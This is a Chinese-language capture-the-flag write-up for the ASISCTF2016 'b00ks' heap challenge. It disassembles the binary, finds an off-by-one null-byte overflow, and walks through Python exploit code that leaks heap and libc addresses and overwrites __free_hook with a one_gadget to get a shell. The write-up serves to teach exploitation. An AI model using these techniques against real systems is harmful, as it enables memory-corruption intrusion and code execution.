6.1.28 pwn ASISCTF2016 b00ks

下载文件

题目复现

  1. $ file b00ks
  2. b00ks: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=cdcd9edea919e679ace66ad54da9281d3eb09270, stripped
  3. $ checksec -f b00ks
  4. RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
  5. Full RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH No 0 2 b00ks
  6. $ strings libc-2.23.so | grep "GNU C"
  7. GNU C Library (Ubuntu GLIBC 2.23-0ubuntu10) stable release version 2.23, by Roland McGrath et al.
  8. Compiled by GNU CC version 5.4.0 20160609.

64 位程序,开启了 FULL RELRO、NX 和 PIE。

在 Ubuntu 16.04 上玩一下:

  1. $ ./b00ks
  2. Welcome to ASISCTF book library
  3. Enter author name: AAAA
  4. 1. Create a book
  5. 2. Delete a book
  6. 3. Edit a book
  7. 4. Print book detail
  8. 5. Change current author name
  9. 6. Exit
  10. > 1
  11. Enter book name size: 5
  12. Enter book name (Max 32 chars): BBBBB
  13. Enter book description size: 5
  14. Enter book description: CCCCC
  15. 1. Create a book
  16. 2. Delete a book
  17. 3. Edit a book
  18. 4. Print book detail
  19. 5. Change current author name
  20. 6. Exit
  21. > 3
  22. Enter the book id you want to edit: 1
  23. Enter new book description: DDDDD
  24. 1. Create a book
  25. 2. Delete a book
  26. 3. Edit a book
  27. 4. Print book detail
  28. 5. Change current author name
  29. 6. Exit
  30. > 4
  31. ID: 1
  32. Name: BBBBB
  33. Description: DDDDD
  34. Author: AAAA
  35. 1. Create a book
  36. 2. Delete a book
  37. 3. Edit a book
  38. 4. Print book detail
  39. 5. Change current author name
  40. 6. Exit
  41. > 2
  42. Enter the book id you want to delete: 1
  43. 1. Create a book
  44. 2. Delete a book
  45. 3. Edit a book
  46. 4. Print book detail
  47. 5. Change current author name
  48. 6. Exit
  49. > 5
  50. Enter author name: EEEE
  51. 1. Create a book
  52. 2. Delete a book
  53. 3. Edit a book
  54. 4. Print book detail
  55. 5. Change current author name
  56. 6. Exit
  57. > 6
  58. Thanks to use our library software

程序让我们先输入一个 auther name,然后进入菜单,可以新建、删除、修改和打印一个 book,还可以对 author name 进行修改。

题目解析

Enter author name

  1. [0x000008e0]> pdf @ sub.Enter_author_name:_b6d
  2. / (fcn) sub.Enter_author_name:_b6d 80
  3. | sub.Enter_author_name:_b6d ();
  4. | ; CALL XREF from main (0x122f)
  5. | ; CALL XREF from main (+0xe0)
  6. | 0x00000b6d push rbp
  7. | 0x00000b6e mov rbp, rsp
  8. | 0x00000b71 lea rdi, str.Enter_author_name: ; 0x13fb ; "Enter author name: " ; const char *format
  9. | 0x00000b78 mov eax, 0
  10. | 0x00000b7d call sym.imp.printf ; int printf(const char *format)
  11. | 0x00000b82 lea rax, [0x00202018] ; "@ "
  12. | 0x00000b89 mov rax, qword [rax]
  13. | 0x00000b8c mov esi, 0x20 ; "@" ; void *buf
  14. | 0x00000b91 mov rdi, rax ; int fildes
  15. | 0x00000b94 call sub.read_9f5 ; 调用 read_9f5([0x00202018], 0x20) 读入 author name
  16. | 0x00000b99 test eax, eax
  17. | ,=< 0x00000b9b je 0xbb6
  18. | | 0x00000b9d lea rdi, str.fail_to_read_author_name ; 0x140f ; "fail to read author_name" ; const char *format
  19. | | 0x00000ba4 mov eax, 0
  20. | | 0x00000ba9 call sym.imp.printf ; int printf(const char *format)
  21. | | 0x00000bae nop
  22. | | 0x00000baf mov eax, 1
  23. | ,==< 0x00000bb4 jmp 0xbbb
  24. | || ; CODE XREF from sub.Enter_author_name:_b6d (0xb9b)
  25. | |`-> 0x00000bb6 mov eax, 0
  26. | | ; CODE XREF from sub.Enter_author_name:_b6d (0xbb4)
  27. | `--> 0x00000bbb pop rbp
  28. \ 0x00000bbc ret
  29. [0x000008e0]> px 8 @ 0x00202018
  30. - offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
  31. 0x00202018 4020 2000 0000 0000 @ .....

程序首先调用函数 read_9f5() 读入 author name 到 [0x00202018],即 0x00202040

函数 read_9f5() 如下:

  1. [0x000008e0]> pdf @ sub.read_9f5
  2. / (fcn) sub.read_9f5 130
  3. | sub.read_9f5 (int arg1, signed int arg2);
  4. | ; var signed int local_1ch @ rbp-0x1c
  5. | ; var int local_18h @ rbp-0x18
  6. | ; var int local_ch @ rbp-0xc
  7. | ; var void *buf @ rbp-0x8
  8. | ; CALL XREF from sub.Enter_author_name:_b6d (0xb94)
  9. | ; CALL XREF from sub.Enter_the_book_id_you_want_to_edit:_e17 (0xf2b)
  10. | ; CALL XREFS from sub.Enter_book_name_size:_f55 (0xff8, 0x10b2)
  11. | 0x000009f5 push rbp
  12. | 0x000009f6 mov rbp, rsp
  13. | 0x000009f9 sub rsp, 0x20
  14. | 0x000009fd mov qword [local_18h], rdi ; arg1
  15. | 0x00000a01 mov dword [local_1ch], esi ; arg2
  16. | 0x00000a04 cmp dword [local_1ch], 0
  17. | ,=< 0x00000a08 jg 0xa11 ; arg2 大于 0 时继续
  18. | | 0x00000a0a mov eax, 0
  19. | ,==< 0x00000a0f jmp 0xa75 ; 否则退出
  20. | |`-> 0x00000a11 mov rax, qword [local_18h] ; rax = [arg1] 取第一个参数
  21. | | 0x00000a15 mov qword [buf], rax ; [buf] = rax = [arg1]
  22. | | 0x00000a19 mov dword [local_ch], 0 ; 循环计数 i 初始为 0
  23. | | ; CODE XREF from sub.read_9f5 (0xa67)
  24. | |.-> 0x00000a20 mov rax, qword [buf] ; rax = [buf]
  25. | |: 0x00000a24 mov edx, 1 ; size_t nbyte
  26. | |: 0x00000a29 mov rsi, rax ; void *buf
  27. | |: 0x00000a2c mov edi, 0 ; int fildes
  28. | |: 0x00000a31 mov eax, 0
  29. | |: 0x00000a36 call sym.imp.read ; 调用 read(0, [buf], 1) 读入一个字节
  30. | |: 0x00000a3b cmp eax, 1
  31. | ,===< 0x00000a3e je 0xa47
  32. | ||: 0x00000a40 mov eax, 1
  33. | ,====< 0x00000a45 jmp 0xa75
  34. | |||: ; CODE XREF from sub.read_9f5 (0xa3e)
  35. | |`---> 0x00000a47 mov rax, qword [buf] ; rax = [buf]
  36. | | |: 0x00000a4b movzx eax, byte [rax] ; eax = [rax] 取出最后一个字节
  37. | | |: 0x00000a4e cmp al, 0xa
  38. | |,===< 0x00000a50 jne 0xa54 ; 该字节不为换行符 '\n'
  39. | ,=====< 0x00000a52 jmp 0xa69
  40. | ||||: ; CODE XREF from sub.read_9f5 (0xa50)
  41. | ||`---> 0x00000a54 add qword [buf], 1 ; [buf] += 1
  42. | || |: 0x00000a59 mov eax, dword [local_ch]
  43. | || |: 0x00000a5c cmp eax, dword [local_1ch]
  44. | ||,===< 0x00000a5f jne 0xa63 ; 循环计数 i 与 arg2 不相等时
  45. | ,======< 0x00000a61 jmp 0xa69
  46. | |||||: ; CODE XREF from sub.read_9f5 (0xa5f)
  47. | |||`---> 0x00000a63 add dword [local_ch], 1 ; 循环计数 i 1
  48. | ||| |`=< 0x00000a67 jmp 0xa20 ; 继续循环
  49. | ||| | ; CODE XREFS from sub.read_9f5 (0xa52, 0xa61)
  50. | ``-----> 0x00000a69 mov rax, qword [buf] ; rax = [buf]
  51. | | | 0x00000a6d mov byte [rax], 0 ; [rax] = 0 将最后一个字节设置为 '0x00'
  52. | | | 0x00000a70 mov eax, 0
  53. | | | ; CODE XREFS from sub.read_9f5 (0xa0f, 0xa45)
  54. | `-`--> 0x00000a75 leave
  55. \ 0x00000a76 ret

该函数存在单字节溢出漏洞,例如在读入 author name 的时候,arg2 为 0x20,但却可以读入最多 0x21 个字节,读入完成后将最后一个字节设置为 “\x00”,即溢出了一个字节的 null byte。

Create

  1. [0x000008e0]> pdf @ sub.Enter_book_name_size:_f55
  2. / (fcn) sub.Enter_book_name_size:_f55 634
  3. | sub.Enter_book_name_size:_f55 ();
  4. | ; var size_t size @ rbp-0x20
  5. | ; var unsigned int local_1ch @ rbp-0x1c
  6. | ; var void *local_18h @ rbp-0x18
  7. | ; var void *fildes @ rbp-0x10
  8. | ; var void *ptr @ rbp-0x8
  9. | ; CALL XREF from main (+0xb0)
  10. | 0x00000f55 push rbp
  11. | 0x00000f56 mov rbp, rsp
  12. | 0x00000f59 sub rsp, 0x20
  13. | 0x00000f5d mov dword [size], 0
  14. | 0x00000f64 lea rdi, str.Enter_book_name_size: ; 0x150f ; "\nEnter book name size: " ; const char *format
  15. | 0x00000f6b mov eax, 0
  16. | 0x00000f70 call sym.imp.printf ; int printf(const char *format)
  17. | 0x00000f75 lea rax, [size]
  18. | 0x00000f79 mov rsi, rax
  19. | 0x00000f7c lea rdi, [0x000013f8] ; "%d" ; const char *format
  20. | 0x00000f83 mov eax, 0
  21. | 0x00000f88 call sym.imp.__isoc99_scanf ; 调用 scanf() 读入 name_size [size]
  22. | 0x00000f8d mov eax, dword [size]
  23. | 0x00000f90 test eax, eax
  24. | ,=< 0x00000f92 jns 0xfaa ; [size] 大于等于 0
  25. | | 0x00000f94 lea rdi, str.Malformed_size ; 0x1527 ; "Malformed size" ; const char *format
  26. | | 0x00000f9b mov eax, 0
  27. | | 0x00000fa0 call sym.imp.printf ; int printf(const char *format)
  28. | ,==< 0x00000fa5 jmp 0x118f
  29. | || ; CODE XREF from sub.Enter_book_name_size:_f55 (0xf92)
  30. | |`-> 0x00000faa lea rdi, str.Enter_book_name__Max_32_chars_: ; 0x1538 ; "Enter book name (Max 32 chars): " ; const char *format
  31. | | 0x00000fb1 mov eax, 0
  32. | | 0x00000fb6 call sym.imp.printf ; int printf(const char *format)
  33. | | 0x00000fbb mov eax, dword [size]
  34. | | 0x00000fbe cdqe
  35. | | 0x00000fc0 mov rdi, rax ; size_t size
  36. | | 0x00000fc3 call sym.imp.malloc ; 调用 malloc([size]) 为 name 分配空间
  37. | | 0x00000fc8 mov qword [fildes], rax ; 空间地址保存到 [fildes]
  38. | | 0x00000fcc cmp qword [fildes], 0
  39. | |,=< 0x00000fd1 jne 0xfe9
  40. | || 0x00000fd3 lea rdi, str.unable_to_allocate_enough_space ; 0x1560 ; "unable to allocate enough space" ; const char *format
  41. | || 0x00000fda mov eax, 0
  42. | || 0x00000fdf call sym.imp.printf ; int printf(const char *format)
  43. | ,===< 0x00000fe4 jmp 0x118f
  44. | ||| ; CODE XREF from sub.Enter_book_name_size:_f55 (0xfd1)
  45. | ||`-> 0x00000fe9 mov eax, dword [size]
  46. | || 0x00000fec lea edx, [rax - 1]
  47. | || 0x00000fef mov rax, qword [fildes]
  48. | || 0x00000ff3 mov esi, edx ; void *buf
  49. | || 0x00000ff5 mov rdi, rax ; int fildes
  50. | || 0x00000ff8 call sub.read_9f5 ; 调用 read_9f5([fildes], [size]-1) 读入 name
  51. | || 0x00000ffd test eax, eax
  52. | ||,=< 0x00000fff je 0x1017
  53. | ||| 0x00001001 lea rdi, str.fail_to_read_name ; 0x1580 ; "fail to read name" ; const char *format
  54. | ||| 0x00001008 mov eax, 0
  55. | ||| 0x0000100d call sym.imp.printf ; int printf(const char *format)
  56. | ,====< 0x00001012 jmp 0x118f
  57. | |||`-> 0x00001017 mov dword [size], 0 ; 将 [size] 置 0
  58. | ||| 0x0000101e lea rdi, str.Enter_book_description_size: ; 0x1598 ; "\nEnter book description size: " ; const char *format
  59. | ||| 0x00001025 mov eax, 0
  60. | ||| 0x0000102a call sym.imp.printf ; int printf(const char *format)
  61. | ||| 0x0000102f lea rax, [size]
  62. | ||| 0x00001033 mov rsi, rax
  63. | ||| 0x00001036 lea rdi, [0x000013f8] ; "%d" ; const char *format
  64. | ||| 0x0000103d mov eax, 0
  65. | ||| 0x00001042 call sym.imp.__isoc99_scanf ; 调用 scanf() 读入 description_size 到 [size]
  66. | ||| 0x00001047 mov eax, dword [size]
  67. | ||| 0x0000104a test eax, eax
  68. | |||,=< 0x0000104c jns 0x1064 ; [size] 大于等于 0
  69. | |||| 0x0000104e lea rdi, str.Malformed_size ; 0x1527 ; "Malformed size" ; const char *format
  70. | |||| 0x00001055 mov eax, 0
  71. | |||| 0x0000105a call sym.imp.printf ; int printf(const char *format)
  72. | ,=====< 0x0000105f jmp 0x118f
  73. | ||||| ; CODE XREF from sub.Enter_book_name_size:_f55 (0x104c)
  74. | ||||`-> 0x00001064 mov eax, dword [size]
  75. | |||| 0x00001067 cdqe
  76. | |||| 0x00001069 mov rdi, rax ; size_t size
  77. | |||| 0x0000106c call sym.imp.malloc ; 调用 malloc([size]) description 分配空间
  78. | |||| 0x00001071 mov qword [ptr], rax ; 空间地址保存到 [ptr]
  79. | |||| 0x00001075 cmp qword [ptr], 0
  80. | ||||,=< 0x0000107a jne 0x1092
  81. | ||||| 0x0000107c lea rdi, str.Fail_to_allocate_memory ; 0x15b7 ; "Fail to allocate memory" ; const char *format
  82. | ||||| 0x00001083 mov eax, 0
  83. | ||||| 0x00001088 call sym.imp.printf ; int printf(const char *format)
  84. | ,======< 0x0000108d jmp 0x118f
  85. | |||||| ; CODE XREF from sub.Enter_book_name_size:_f55 (0x107a)
  86. | |||||`-> 0x00001092 lea rdi, str.Enter_book_description: ; 0x15cf ; "Enter book description: " ; const char *format
  87. | ||||| 0x00001099 mov eax, 0
  88. | ||||| 0x0000109e call sym.imp.printf ; int printf(const char *format)
  89. | ||||| 0x000010a3 mov eax, dword [size]
  90. | ||||| 0x000010a6 lea edx, [rax - 1]
  91. | ||||| 0x000010a9 mov rax, qword [ptr]
  92. | ||||| 0x000010ad mov esi, edx ; void *buf
  93. | ||||| 0x000010af mov rdi, rax ; int fildes
  94. | ||||| 0x000010b2 call sub.read_9f5 ; 调用 read_9f5([ptr], [size] -1) 读入 description
  95. | ||||| 0x000010b7 test eax, eax
  96. | |||||,=< 0x000010b9 je 0x10d1
  97. | |||||| 0x000010bb lea rdi, str.Unable_to_read_description ; 0x15e8 ; "Unable to read description" ; const char *format
  98. | |||||| 0x000010c2 mov eax, 0
  99. | |||||| 0x000010c7 call sym.imp.printf ; int printf(const char *format)
  100. | ,=======< 0x000010cc jmp 0x118f
  101. | ||||||| ; CODE XREF from sub.Enter_book_name_size:_f55 (0x10b9)
  102. | ||||||`-> 0x000010d1 mov eax, 0
  103. | |||||| 0x000010d6 call fcn.00000b24 ; 判断 book_num 是否达到上限 20
  104. | |||||| 0x000010db mov dword [local_1ch], eax ; 返回值 eax 为该 book books 里的序号
  105. | |||||| 0x000010de cmp dword [local_1ch], 0xffffffffffffffff
  106. | ||||||,=< 0x000010e2 jne 0x10fa
  107. | ||||||| 0x000010e4 lea rdi, str.Library_is_full ; 0x1603 ; "Library is full" ; const char *format
  108. | ||||||| 0x000010eb mov eax, 0
  109. | ||||||| 0x000010f0 call sym.imp.printf ; int printf(const char *format)
  110. | ========< 0x000010f5 jmp 0x118f
  111. | ||||||| ; CODE XREF from sub.Enter_book_name_size:_f55 (0x10e2)
  112. | ||||||`-> 0x000010fa mov edi, 0x20 ; "@" ; size_t size
  113. | |||||| 0x000010ff call sym.imp.malloc ; 调用 malloc(0x20) 为 book 结构体分配空间
  114. | |||||| 0x00001104 mov qword [local_18h], rax ; 空间地址保存到 [local_18h]
  115. | |||||| 0x00001108 cmp qword [local_18h], 0
  116. | ||||||,=< 0x0000110d jne 0x1122
  117. | ||||||| 0x0000110f lea rdi, str.Unable_to_allocate_book_struct ; 0x1618 ; "Unable to allocate book struct" ; const char *format
  118. | ||||||| 0x00001116 mov eax, 0
  119. | ||||||| 0x0000111b call sym.imp.printf ; int printf(const char *format)
  120. | ========< 0x00001120 jmp 0x118f
  121. | ||||||`-> 0x00001122 mov eax, dword [size] ; 取出 description_size
  122. | |||||| 0x00001125 mov edx, eax
  123. | |||||| 0x00001127 mov rax, qword [local_18h] ; 取出 book 结构体
  124. | |||||| 0x0000112b mov dword [rax + 0x18], edx ; book->description_size = [size]
  125. | |||||| 0x0000112e lea rax, [0x00202010] ; rax = 0x00202010
  126. | |||||| 0x00001135 mov rax, qword [rax] ; rax = 0x00202060 取出 books 数组地址
  127. | |||||| 0x00001138 mov edx, dword [local_1ch]
  128. | |||||| 0x0000113b movsxd rdx, edx
  129. | |||||| 0x0000113e shl rdx, 3
  130. | |||||| 0x00001142 add rdx, rax ; rdx books 数组中该 book 的地址
  131. | |||||| 0x00001145 mov rax, qword [local_18h]
  132. | |||||| 0x00001149 mov qword [rdx], rax ; books[rdx] = book book 地址放入 books 数组
  133. | |||||| 0x0000114c mov rax, qword [local_18h]
  134. | |||||| 0x00001150 mov rdx, qword [ptr]
  135. | |||||| 0x00001154 mov qword [rax + 0x10], rdx ; book->description = [ptr]
  136. | |||||| 0x00001158 mov rax, qword [local_18h]
  137. | |||||| 0x0000115c mov rdx, qword [fildes]
  138. | |||||| 0x00001160 mov qword [rax + 8], rdx ; book->name = [fildes]
  139. | |||||| 0x00001164 lea rax, [0x00202024]
  140. | |||||| 0x0000116b mov eax, dword [rax] ; 取出 book_num
  141. | |||||| 0x0000116d lea edx, [rax + 1] ; edx = book_num + 1
  142. | |||||| 0x00001170 lea rax, [0x00202024]
  143. | |||||| 0x00001177 mov dword [rax], edx ; 放回新的 book_num
  144. | |||||| 0x00001179 lea rax, [0x00202024]
  145. | |||||| 0x00001180 mov edx, dword [rax]
  146. | |||||| 0x00001182 mov rax, qword [local_18h]
  147. | |||||| 0x00001186 mov dword [rax], edx ; book->id = book_num
  148. | |||||| 0x00001188 mov eax, 0
  149. | ||||||,=< 0x0000118d jmp 0x11cd
  150. | ||||||| ; XREFS: CODE 0x00000fa5 CODE 0x00000fe4 CODE 0x00001012 CODE 0x0000105f CODE 0x0000108d CODE 0x000010cc
  151. | ||||||| ; XREFS: CODE 0x000010f5 CODE 0x00001120
  152. | ``````--> 0x0000118f cmp qword [fildes], 0 ; 释放掉一些指针
  153. | ,==< 0x00001194 je 0x11a2
  154. | || 0x00001196 mov rax, qword [fildes]
  155. | || 0x0000119a mov rdi, rax ; void *ptr
  156. | || 0x0000119d call sym.imp.free ; free([fildes])
  157. | || ; CODE XREF from sub.Enter_book_name_size:_f55 (0x1194)
  158. | `--> 0x000011a2 cmp qword [ptr], 0
  159. | ,==< 0x000011a7 je 0x11b5
  160. | || 0x000011a9 mov rax, qword [ptr]
  161. | || 0x000011ad mov rdi, rax ; void *ptr
  162. | || 0x000011b0 call sym.imp.free ; free([ptr])
  163. | || ; CODE XREF from sub.Enter_book_name_size:_f55 (0x11a7)
  164. | `--> 0x000011b5 cmp qword [local_18h], 0
  165. | ,==< 0x000011ba je 0x11c8
  166. | || 0x000011bc mov rax, qword [local_18h]
  167. | || 0x000011c0 mov rdi, rax ; void *ptr
  168. | || 0x000011c3 call sym.imp.free ; free([local_18h])
  169. | || ; CODE XREF from sub.Enter_book_name_size:_f55 (0x11ba)
  170. | `--> 0x000011c8 mov eax, 1
  171. | | ; CODE XREF from sub.Enter_book_name_size:_f55 (0x118d)
  172. | `-> 0x000011cd leave
  173. \ 0x000011ce ret
  174. [0x000008e0]> px 8 @ 0x00202010
  175. - offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
  176. 0x00202010 6020 2000 0000 0000 ` .....

Create 过程是首先在堆上为 name 分配空间,然后为 description 分配空间,最后为 book 结构体分配空间。其中 name 和 description 的大小是由输入控制的,book 结构体则固定为 0x20 字节。

通过分析可以得到下面的数据结构:

  1. struct book {
  2. int id;
  3. char *name;
  4. char *description;
  5. char description_size;
  6. } book;
  7. struct book *books[20];

其中 books 数组的起始地址为 0x00202060

漏洞利用

现在我们已经知道漏洞点是在读入 author name 的时候存在一个 off-by-one 漏洞。另外由于 author name 和 books 之间距离正好为 0x00202060 - 0x00202040 = 0x20,并且 books 是在 author name 之后创建,所以如果 author name 恰好为 0x20 个字节,那么在 Print 的时候存在信息泄露。接下来如果对 author name 进行修改,且仍然为 0x20 字节,则溢出的一个空字节将覆盖掉 books[0] 的低位字节。

思路如下:

  1. 创建两个 book,其中要使第二个 book 的 name 和 description 通过 mmap 分配(请求一块很大的空间),这是因为 mmap 分配的空间与 libc 基址存在固定关系,后续将通过泄露这些地址得到 libc 基址。
  2. 通过 Print,利用信息泄露漏洞得到 book1 在 heap 上的地址,从而计算得到 book2 的地址。
  3. 通过 Edit 在 book1->description 中创建一个 fake book,其 fake->description 指向 book2->name。
  4. 通过 Change author name 造成空字节溢出,使 books[0] 指向伪造的 fake book。
  5. 再次通过 Print 即可打印出 book2->name,这是一个通过 mmap 得到的指针,于是计算出 libc 基址。
  6. 先 Edit 操作 fake book,将 book2->description 修改为 free_hook 的地址,然后 Edit 操作 book2,即可将 free_hook 修改为 one_gadget。
  7. 此时 Delete book2,即可执行 one_gadget 获得 shell。

leak_heap

  1. def leak_heap():
  2. global book2_addr
  3. io.sendlineafter("name: ", "A" * 0x20)
  4. Create(0xd0, "AAAA", 0x20, "AAAA") # book1
  5. Create(0x21000, "AAAA", 0x21000, "AAAA") # book2
  6. Print()
  7. io.recvuntil("A"*0x20)
  8. book1_addr = u64(io.recvn(6).ljust(8, "\x00"))
  9. book2_addr = book1_addr + 0x30
  10. log.info("book2 address: 0x%x" % book2_addr)

创建两个 book,此时内存布局如下:

  1. gdb-peda$ x/8gx 0x555555756040
  2. 0x555555756040: 0x4141414141414141 0x4141414141414141 <-- author name
  3. 0x555555756050: 0x4141414141414141 0x4141414141414141
  4. 0x555555756060: 0x0000555555758130 0x0000555555758160 <-- books
  5. 0x555555756070: 0x0000000000000000 0x0000000000000000
  6. gdb-peda$ x/50gx 0x0000555555758020-0x10
  7. 0x555555758010: 0x0000000000000000 0x00000000000000e1 <-- book1->name
  8. 0x555555758020: 0x0000000041414141 0x0000000000000000
  9. 0x555555758030: 0x0000000000000000 0x0000000000000000
  10. 0x555555758040: 0x0000000000000000 0x0000000000000000
  11. 0x555555758050: 0x0000000000000000 0x0000000000000000
  12. 0x555555758060: 0x0000000000000000 0x0000000000000000
  13. 0x555555758070: 0x0000000000000000 0x0000000000000000
  14. 0x555555758080: 0x0000000000000000 0x0000000000000000
  15. 0x555555758090: 0x0000000000000000 0x0000000000000000
  16. 0x5555557580a0: 0x0000000000000000 0x0000000000000000
  17. 0x5555557580b0: 0x0000000000000000 0x0000000000000000
  18. 0x5555557580c0: 0x0000000000000000 0x0000000000000000
  19. 0x5555557580d0: 0x0000000000000000 0x0000000000000000
  20. 0x5555557580e0: 0x0000000000000000 0x0000000000000000
  21. 0x5555557580f0: 0x0000000000000000 0x0000000000000031 <-- book1->description
  22. 0x555555758100: 0x0000000041414141 0x0000000000000000
  23. 0x555555758110: 0x0000000000000000 0x0000000000000000
  24. 0x555555758120: 0x0000000000000000 0x0000000000000031 <-- book1
  25. 0x555555758130: 0x0000000000000001 0x0000555555758020
  26. 0x555555758140: 0x0000555555758100 0x0000000000000020
  27. 0x555555758150: 0x0000000000000000 0x0000000000000031 <-- book2
  28. 0x555555758160: 0x0000000000000002 0x00007ffff7fd2010
  29. 0x555555758170: 0x00007ffff7fb0010 0x0000000000021000
  30. 0x555555758180: 0x0000000000000000 0x0000000000020e81
  31. 0x555555758190: 0x0000000000000000 0x0000000000000000

可以看到 book2 通过 mmap 分配的两个指针并不是指向 heap,而是与 libc 有某种固定关系:

  1. gdb-peda$ vmmap libc
  2. Start End Perm Name
  3. 0x00007ffff7a0d000 0x00007ffff7bcd000 r-xp /home/firmy/b00ks/libc-2.23.so
  4. 0x00007ffff7bcd000 0x00007ffff7dcd000 ---p /home/firmy/b00ks/libc-2.23.so
  5. 0x00007ffff7dcd000 0x00007ffff7dd1000 r--p /home/firmy/b00ks/libc-2.23.so
  6. 0x00007ffff7dd1000 0x00007ffff7dd3000 rw-p /home/firmy/b00ks/libc-2.23.so
  7. gdb-peda$ vmmap mapped
  8. Start End Perm Name
  9. 0x00007ffff7dd3000 0x00007ffff7dd7000 rw-p mapped
  10. 0x00007ffff7fb0000 0x00007ffff7ff7000 rw-p mapped
  11. 0x00007ffff7ffe000 0x00007ffff7fff000 rw-p mapped
  12. gdb-peda$ vmmap heap
  13. Start End Perm Name
  14. 0x0000555555757000 0x0000555555779000 rw-p [heap]

leak_libc

  1. def leak_libc():
  2. global libc_base
  3. fake_book = p64(1) + p64(book2_addr + 0x8) * 2 + p64(0x20)
  4. Edit(1, fake_book)
  5. Change("A" * 0x20)
  6. Print()
  7. io.recvuntil("Name: ")
  8. leak_addr = u64(io.recvn(6).ljust(8, "\x00"))
  9. libc_base = leak_addr - 0x5ca010 # mmap_addr - libc_base
  10. log.info("libc address: 0x%x" % libc_base)
  1. gdb-peda$ x/8gx 0x555555756040
  2. 0x555555756040: 0x4141414141414141 0x4141414141414141
  3. 0x555555756050: 0x4141414141414141 0x4141414141414141
  4. 0x555555756060: 0x0000555555758100 0x0000555555758160 <-- books[0]
  5. 0x555555756070: 0x0000000000000000 0x0000000000000000
  6. gdb-peda$ x/50gx 0x0000555555758020-0x10
  7. 0x555555758010: 0x0000000000000000 0x00000000000000e1
  8. 0x555555758020: 0x0000000041414141 0x0000000000000000
  9. 0x555555758030: 0x0000000000000000 0x0000000000000000
  10. 0x555555758040: 0x0000000000000000 0x0000000000000000
  11. 0x555555758050: 0x0000000000000000 0x0000000000000000
  12. 0x555555758060: 0x0000000000000000 0x0000000000000000
  13. 0x555555758070: 0x0000000000000000 0x0000000000000000
  14. 0x555555758080: 0x0000000000000000 0x0000000000000000
  15. 0x555555758090: 0x0000000000000000 0x0000000000000000
  16. 0x5555557580a0: 0x0000000000000000 0x0000000000000000
  17. 0x5555557580b0: 0x0000000000000000 0x0000000000000000
  18. 0x5555557580c0: 0x0000000000000000 0x0000000000000000
  19. 0x5555557580d0: 0x0000000000000000 0x0000000000000000
  20. 0x5555557580e0: 0x0000000000000000 0x0000000000000000
  21. 0x5555557580f0: 0x0000000000000000 0x0000000000000031 <-- fake book
  22. 0x555555758100: 0x0000000000000001 0x0000555555758168
  23. 0x555555758110: 0x0000555555758168 0x0000000000000020 <-- fake->description
  24. 0x555555758120: 0x0000000000000000 0x0000000000000031 <-- book1
  25. 0x555555758130: 0x0000000000000001 0x0000555555758020
  26. 0x555555758140: 0x0000555555758100 0x0000000000000020
  27. 0x555555758150: 0x0000000000000000 0x0000000000000031 <-- book2
  28. 0x555555758160: 0x0000000000000002 0x00007ffff7fd2010 <-- book2->name
  29. 0x555555758170: 0x00007ffff7fb0010 0x0000000000021000
  30. 0x555555758180: 0x0000000000000000 0x0000000000020e81
  31. 0x555555758190: 0x0000000000000000 0x0000000000000000

接下来先是伪造 fake book,然后通过空字节溢出,修改了 books[0] 的低位字节,此时它指向了 fake book。而 fake->description 指向了 book2->name。

通过 Print 即可打印出 book2->name,进而计算出 libc 基址。

overwrite

  1. def overwrite():
  2. free_hook = libc.symbols['__free_hook'] + libc_base
  3. one_gadget = libc_base + 0x4526a
  4. fake_book = p64(free_hook) * 2
  5. Edit(1, fake_book)
  6. fake_book = p64(one_gadget)
  7. Edit(2, fake_book)

依次修改 fake book 和 book2,最终将 __free_hook 修改为 one_gadget:

  1. gdb-peda$ x/50gx 0x0000555555758020-0x10
  2. 0x555555758010: 0x0000000000000000 0x00000000000000e1
  3. 0x555555758020: 0x0000000041414141 0x0000000000000000
  4. 0x555555758030: 0x0000000000000000 0x0000000000000000
  5. 0x555555758040: 0x0000000000000000 0x0000000000000000
  6. 0x555555758050: 0x0000000000000000 0x0000000000000000
  7. 0x555555758060: 0x0000000000000000 0x0000000000000000
  8. 0x555555758070: 0x0000000000000000 0x0000000000000000
  9. 0x555555758080: 0x0000000000000000 0x0000000000000000
  10. 0x555555758090: 0x0000000000000000 0x0000000000000000
  11. 0x5555557580a0: 0x0000000000000000 0x0000000000000000
  12. 0x5555557580b0: 0x0000000000000000 0x0000000000000000
  13. 0x5555557580c0: 0x0000000000000000 0x0000000000000000
  14. 0x5555557580d0: 0x0000000000000000 0x0000000000000000
  15. 0x5555557580e0: 0x0000000000000000 0x0000000000000000
  16. 0x5555557580f0: 0x0000000000000000 0x0000000000000031
  17. 0x555555758100: 0x0000000000000001 0x0000555555758168
  18. 0x555555758110: 0x0000555555758168 0x0000000000000020 <-- fake->description
  19. 0x555555758120: 0x0000000000000000 0x0000000000000031
  20. 0x555555758130: 0x0000000000000001 0x0000555555758020
  21. 0x555555758140: 0x0000555555758100 0x0000000000000020
  22. 0x555555758150: 0x0000000000000000 0x0000000000000031
  23. 0x555555758160: 0x0000000000000002 0x00007ffff7dd37a8
  24. 0x555555758170: 0x00007ffff7dd37a8 0x0000000000021000 <-- book2->description
  25. 0x555555758180: 0x0000000000000000 0x0000000000020e81
  26. 0x555555758190: 0x0000000000000000 0x0000000000000000
  27. gdb-peda$ x/gx 0x00007ffff7dd37a8
  28. 0x7ffff7dd37a8 <__free_hook>: 0x00007ffff7a5226a
  29. gdb-peda$ pdisass 0x00007ffff7a5226a /7
  30. 0x7ffff7a5226a: mov rax,QWORD PTR [rip+0x37ec47] # 0x7ffff7dd0eb8
  31. 0x7ffff7a52271: lea rdi,[rip+0x147adf] # 0x7ffff7b99d57
  32. 0x7ffff7a52278: lea rsi,[rsp+0x30]
  33. 0x7ffff7a5227d: mov DWORD PTR [rip+0x381219],0x0 # 0x7ffff7dd34a0
  34. 0x7ffff7a52287: mov DWORD PTR [rip+0x381213],0x0 # 0x7ffff7dd34a4
  35. 0x7ffff7a52291: mov rdx,QWORD PTR [rax]
  36. 0x7ffff7a52294: call 0x7ffff7ad9770 <execve>

pwn

  1. def pwn():
  2. Delete(2)
  3. io.interactive()

最后 Delete book2,获得 shell。

开启 ASLR,Bingo!!!

  1. $ python exp.py
